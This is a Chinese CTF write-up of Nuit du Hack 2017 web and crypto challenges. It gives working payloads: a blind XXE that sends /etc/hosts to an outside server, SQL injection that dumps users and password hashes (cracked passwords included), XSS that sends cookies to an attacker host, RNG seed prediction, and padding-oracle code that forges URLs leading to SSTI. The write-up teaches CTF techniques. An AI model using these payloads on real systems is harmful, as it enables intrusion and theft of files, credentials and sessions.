您的位置:首页 > 产品设计 > UI/UE

Nuit du hack 2017 web&crypto Writeup

2017-04-02 13:00 671 查看

Nuit du hack 2017 web&crypto Writeup

新博客地址:http://bendawang.site/article/Nuit-du-hack-2017-web-and-crypto-Writeup(ps:短期内csdn和新博客会同步更新)

眼看着三月份过完了,第一次感觉这个月打了好多比赛啊,完全没有足够的时间让我静下来好好学点知识,几次比赛打下来,还是发现自己很多很多问题,很多基础知识打得不牢靠,另外也有很多东西想学,好几场的比赛加上复习四月初的考试,真是报警了,明显感觉自己开始有点浮躁了,状态不行。等四月份考完试,静下来认真学点东西。

web-75 No Pain No Gain

进去发现是一个上传页面,上传csv,进行转换,fuzz时候得到过这样的错误



所以猜测是xxe,

然后尝试一波之后没有想法,一直都报错,后来才知道,报错是没关系的,因为已经执行了,所以是一个
blind xxe


我之前学习xxe的时候也做了笔记,传送门:
http://bendawang.site/article/XXE-Injection%E7%AC%94%E8%AE%B0


然后直接用里面的payload改一该就好了,这里我们一般不读
/etc/passwd
,一般读
/etc/hosts
,提交的文件内容如下:

<!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts"><!ENTITY % xxe SYSTEM "http://104.160.43.154:8000/evil.dtd"> %xxe;%send; ]>
<!-- Invitations -->
id,name,email


然后vps上的evil.dtd内容如下:

<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://104.160.43.154:8000/xss/?file=%file;'>"
>
%all;


成功获取到hosts的内容,那么开始寻找
flag
,找到死都没找到,最后蛋总说是在
/home/flag/flag
里面,除了伏地膜之外我还能干啥…orz…..

最后截图如下:



web-100 Slumdog Millionaire

从题目获取代码如下:

#!/usr/bin/python2.7

import random

import config
import utils

random.seed(utils.get_pid())
ngames = 0

def generate_combination():
numbers = ""
for _ in range(10):
rand_num = random.randint(0, 99)
if rand_num < 10:
numbers += "0"
numbers += str(rand_num)
if _ != 9:
numbers += "-"
return numbers

def reset_jackpot():
random.seed(utils.get_pid())
utils.set_jackpot(0)
ngames = 0

def draw(user_guess):
ngames += 1
if ngames > config.MAX_TRIES:
reset_jackpot()
winning_combination = generate_combination()
if winning_combination == user_guess:
utils.win()
reset_jackpot()


查看之后发现很简单,要是我们知道了
seed
即那个进程的pid,那么就能预测所有的组合,所以先在网页随便输入一串东西,然后得到第一次的正确答案,这里我得到的是
56-08-50-98-94-51-01-75-63-61


然后运行如下代码就好了

import random

def generate_combination():
numbers = ""
for _ in range(10):
rand_num = random.randint(0, 99)
if rand_num < 10:
numbers += "0"
numbers += str(rand_num)
if _ != 9:
numbers += "-"
return numbers
seed=0
for i in xrange(1,10000):
random.seed(i)
ret = generate_combination()
print ret
if (ret == '56-08-50-98-94-51-01-75-63-61'):
print 'find',i
seed=i
break
random.seed(seed)
ans=generate_combination()
ans=generate_combination()
print ans


得到ans提交就拿到flag了



web-120 Divide and rule

首先点进去是个登陆页面,



然后去
search
那儿找东西

发现那一堆查询参数是存在注入的,随便加个单引号就不返回值了。

然后尝试联合查询发现还是不返回,后来想到这么多参数很可能是长度受了限制,然后就分开来,最后测试成功,如下:

firstname='union select/*&lastname=*/1,2,3,4,5,6#&position=&country=123&gender=




但是有一个问题就是,长度限制后来测出来好像是15,这样子没办法查表名和列名之类的,因为
information_schema
太长了。

后来脑洞了一下猜到表名是
users


然后根据初始登录页面的name猜到字段名分别是
login
password


firstname='union select/*&lastname=*/login/*&position=*/,2,3,4,5,6 /*#&country=*/from users#123&gender=

firstname='union select/*&lastname=*/password/*&position=*/,2,3,4,5,6 /*#&country=*/from users#123&gender=


得到三个用户名和三个md5的密码值,MD5解密之后登陆就拿到flag了

#三个用户名
ruleradmin
patrick
raoul

#三个密码
04fc95a5debc7474a84fad9c50a1035d #smart1985
db6eab0550da4b056d1a33ba2e8ced66 #1badgurl
7ac89e3c1f1a71ee19374d7e8912714b #1badboy




web-200 Purple Posse Market

进去之后研究半天,发现有一个contact页面可以提交一些东西,然后其他好像也没有太多用,题目描述让拿到管理员的IBAN账户。那多半是xss拿到cookie登陆后台了,然后在评论这里尝试提交,发现根本没有过滤,下面代码直接就能返回

<script src="http://你的xss平台"></script>


刚开始做的时候bot巨慢无比。。10多分钟才打回来知道没有过滤,白白浪费我半天,后来突然就变快了。。。僵硬。。

回到题目,既然没有过滤,那么直接执行js就好了,提交如下:

<script src="http://你的网址/requests.js"></script>


然后这个
request.js
这样写的

$.get("http://你的xss平台?a="+document.cookie,function(data,status){})


截图如下:



登陆进去就能看到IBAN账户,这就是flag了。

web-250 WhyUNoKnock

crypto-250 MarkIsFaillingDownDrunk

进去之后随便点一个,发现链接变成这个

http://markisfaillingdowndrunk.quals.nuitduhack.com/view/deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02


这一看都不用想,80%是
padding oracle


然后开始写代码,先把他的几串东西的明文搞出来,代码如下:

import requests
import base64
import time
url='http://markisfaillingdowndrunk.quals.nuitduhack.com/view/'
N=16
phpsession=""
ID=""
def inject(param):
result=requests.get(url+param)
#print result.content
return result

def xor(a, b):
print "length",len(a),len(b)
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)

def padding_oracle(N,cipher): ##return middle
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c=chr(0)*(16-i)+chr(j)+padding+cipher
print c.encode('hex')
result=inject(c.encode('hex'))
if result.status_code!=500:
print j
get=chr(j^i)+get
break
return get
s=["deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf441aee00f376a598270a8d830ddf58ab489e053dbbfba4b30652f718567777364a07d5b453fb6ab946cc6ce6485f6250d583fbaac9fb0d169de6184a1c1fa0a30",
"deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02"]
IV=s[0][:16]
#str4
ans=[]
for i in xrange(4):
c=[]
str1=s[i].decode('hex')
#print s[i]
#print str1
for j in xrange(0,len(str1),N):
c.append(str1[j:j+N])
l=len(c)
print l
p=[""]*l
for j in xrange(l-1,0,-1):
middle=padding_oracle(N,c[j])
print "========================middle================================"
print j
print middle.encode('hex')
p[j]=xor(middle,c[j-1])
print p[j]
print "==========================plain==============================="
print i
print p
ans.append(p)
print ans


服务器真是慢的我想日狗了,做了那么多
padding oracle
,从来没有遇到这么慢的服务器好吧。。。平均一个一分钟,一组就是16分钟,光跑第一串出来就用了n久。。。

然后我是开了两个程序顺序反序一起跑,把第一串和第四串跑出来是个这样的东西,

1:https://gist.githubusercontent.com/MarkIsFaillingDownDrunk/b9ed0141c97ae6488379dafa088c04d2/raw/4129795e82bb978e78b00bcb9b9fc4b6acb44898/test.md\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10

4:https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02


访问一下,内容是这个

# Welcome to MarkParser !
## This is a simple Markdown test.

Test for dynamic rendering :

[{{ config['WEBSITE_NAME'] }}](/)


再看看它网页的内容



这样就很明白了,

也就是说他的
view
后面直接跟的链接。他会读取链接的内容,然后进行
markdown
转换,然后在进行模板渲染。

所以接下来的思路也就很明确很简单了,让它访问我们的网站预先放好的
md
,然后就是个
ssti
了,通过一些奇怪姿势找到执行命令或是读取文件的函数就行了。

这里由于有了第四个链接,所以我构造一个目录如下:

第四个密文对应明文: https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02 我的网页         : http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README\x02\x02[/code] 
最后一组明文和他密文解密出来的一样,这样我就可以维持最后一个分组密文以及倒数第二个分组的密文不变了。然后依次通过
padding oracle
获取中间值,与构造的密文异或得到构造的密文,从而得到我的网址对应的密文

至于具体
padding oracle
伪造明文的原理这里不赘述了,可以去看我之前的博客或是直接私聊我。

代码如下:

import requests
import base64
import time
url='http://markisfaillingdowndrunk.quals.nuitduhack.com/view/'
N=16
phpsession=""
ID=""
def inject(param):
result=requests.get(url+param)
#print result.content
return result

def xor(a, b):
print "length",len(a),len(b)
return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

def pad(string,N):
l=len(string)
if l!=N:
return string+chr(N-l)*(N-l)

def padding_oracle(N,cipher): ##return middle
get=""
for i in xrange(1,N+1):
for j in xrange(0,256):
padding=xor(get,chr(i)*(i-1))
c=chr(0)*(16-i)+chr(j)+padding+cipher
print c.encode('hex')
result=inject(c.encode('hex'))
if result.status_code!=500:
print j
get=chr(j^i)+get
break
return get
'''
s=["deadbeefcafedeadbeefcafe04030201b2c7da6ca163321fc0e96e98df20b58389e055de04be2972edc654d2f609d9608bc083bf5f35eba62d7faf73d7ec7fec88743a46bbd5711e9f954f7f54c211a3ef30067df218e84a474ec00dc1789b3c053fd578c86f6e87e080a63c6191289cd4f2e5178882f36097ae40214323b2bde2491de75c6603a708b61f80efc07b2da2d626137891b74c7019b040db51f468a2d6978e726e5c35ad9ce7f1dbc06cba",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf441aee00f376a598270a8d830ddf58ab489e053dbbfba4b30652f718567777364a07d5b453fb6ab946cc6ce6485f6250d583fbaac9fb0d169de6184a1c1fa0a30",
"deadbeefcafedeadbeefcafe0403020131fdd089e91025df9510efa46b2085aac738ae5e03daa6495e2e4ee83283282a5be01dd6d817df2c0e69cd613c7da160a6aab9f02d175ac549feb6b674fa6f65",
"deadbeefcafedeadbeefcafe0403020152208110d1a06ce628ff8e10f4cbc1aa96ac276f57b6d80e50df1050c455fdf440d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02"]
IV=s[0][:16]
#str4
ans=[]
for i in xrange(4):
c=[]
str1=s[i].decode('hex')
#print s[i]
#print str1
for j in xrange(0,len(str1),N):
c.append(str1[j:j+N])
l=len(c)
print l
p=[""]*l
for j in xrange(l-1,0,-1):
middle=padding_oracle(N,c[j])
print "========================middle================================"
print j
print middle.encode('hex')
p[j]=xor(middle,c[j-1])
print p[j]
print "==========================plain==============================="
print i
print p
ans.append(p)
print ans
'''

'''
1    :   https://gist.githubusercontent.com/MarkIsFaillingDownDrunk/b9ed0141c97ae6488379dafa088c04d2/raw/4129795e82bb978e78b00bcb9b9fc4b6acb44898/test.md\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10 2    :
3    :
4    :   https://raw.githubusercontent.com/dlitz/pycrypto/master/README\x02\x02 myans:   http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README\x02\x02 
'''

cipher=[
"deadbeefcafedeadbeefcafe04030201",
"52208110d1a06ce628ff8e10f4cbc1aa",
"96ac276f57b6d80e50df1050c455fdf4",
"40d56ae51399ceb30b5b69153ddc2302",
"19e3f662023665e8885c90867b8c3a02"
]
middle=[
'b6d9ca9fb9c4f182cc8ebdd0636a7669',
'2742f463b4d20f89468beb7e80e5a2c5',
'fb8343033ec2a22120a67322bd25899b',
'6fb80b9667fcbc9c591e285170992100'
]
ans   =[
"http://104.160.4",
"3.154:8000/xxxxx",
"xxxxxxxxxxxxxxxx",
"/master/README\x02\x02"
]

tmp_ans=[""]*5

tmp_ans[4]=cipher[4]
tmp_ans[3]=cipher[3]
tmp_middle=middle[2].decode('hex')
tmp_ans[2]=xor(ans[2],tmp_middle).encode("hex")

tmp_middle=padding_oracle(N,tmp_ans[2].decode("hex"))
print tmp_middle.encode('hex')   #"9d41e1434f05be3bea284b8d2eb8928b".decode('hex')

tmp_ans[1]=xor(ans[1],tmp_middle).encode("hex")
tmp_middle=padding_oracle(N,tmp_ans[1].decode("hex"))
print tmp_middle.encode('hex')   #"c05b49fef1d14b17aa0dd98a591ea57f".decode('hex')

tmp_ans[0]=xor(ans[0],tmp_middle).encode("hex")
view="".join(i for i in tmp_ans)
print view
#a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02


通过上述代码,我得到我的这个链接
http://104.160.43.154:8000/xxxxxxxxxxxxxxxxxxxxx/master/README
对应的密文是

a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02


然后我修改我的网站的
README
的内容为



注意下我的这个内容外面包了两个反撇号,因为我们刚才说了,他会读取链接的内容,然后进行
markdown
转换,然后在进行模板渲染。
markdown
,转换在先,很多我们需要用的符号在
markdown
里面都有特殊语义会被转换,加上这两个反撇号就好了。

然后尝试访问

http://markisfaillingdowndrunk.quals.nuitduhack.com/view/a82f3d8ecbfe64269a39f7bb6f2e8b4bae6fd0767b3f860bda1864f556c0eaf383fb3b7b46bada5958de0b5ac55df1e340d56ae51399ceb30b5b69153ddc230219e3f662023665e8885c90867b8c3a02


结果如下:



成功了,

好的,接下来就找出
SSTI
的payload执行一波命令,发现失败了,经过一番测试才知道题目用的环境是
python3
,而平时做的题目之类的都是
python2
,那么开始在python3下面寻找姿势。

找了n久n久,终于找到了

最后
payload
如下:



直接访问得到flag如下:

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: